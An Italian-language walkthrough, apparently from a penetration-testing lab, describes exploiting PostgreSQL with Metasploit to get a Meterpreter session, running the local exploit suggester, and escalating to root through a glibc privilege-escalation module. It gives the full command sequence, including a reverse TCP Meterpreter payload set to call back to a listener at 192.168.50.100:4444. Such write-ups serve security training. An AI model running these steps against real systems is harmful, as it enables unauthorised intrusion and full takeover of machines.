L'operazione è partita dal modulo “exploit(linux/postgres/postgres_payload)” per sfruttare una vulnerabilità nel database PostgreSQL sul sistema target, ottenendo una sessione Meterpreter iniziale.

Una volta ottenuto accesso al sistema con Meterpreter, è stato avviato un processo di escalation dei privilegi usando strumenti di ricognizione locali.

Ho utilizzato il comando “search post/multi/recon/local_exploit_suggester” per identificare il modulo che analizza automaticamente vulnerabilità locali sul sistema target.

È stato selezionato il modulo post/multi/recon/local_exploit_suggester tramite il comando use 0.

È stato impostato l'ID della sessione attiva Meterpreter (Sessione 1) con il comando: “set SESSION 1”

Con il comando “run” abbiamo avviato l'analisi delle vulnerabilità locali. Il modulo ha controllato 198 exploit e ha identificato diverse vulnerabilità, tra cui:

- exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
- exploit/linux/local/glibc_origin_expansion_priv_esc
- exploit/linux/local/netfilter_priv_esc_ipv4
- exploit/linux/local/su_login
- exploit/unix/local/setuid_nmap

Ho scelto il modulo exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: “use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc”

Ho configurato i seguenti parametri:

- set SESSION 1
- set PAYLOAD linux/x86/meterpreter/reverse_tcp
- set LHOST 192.168.50.100
- set LPORT 4444

Poi con options ho controllato che tutte le impostazioni fossero corrette.

Con “run” ho eseguito il modulo.

Il modulo ha avviato una connessione di tipo reverse TCP dalla macchina target al listener configurato (IP 192.168.50.100, porta 4444).

Dopo l'apertura della nuova sessione Meterpreter , è stato eseguito il comando “getuid” per confermare il livello di privilegio: Server username: root

Questo ha confermato l'accesso come utente root sulla macchina target.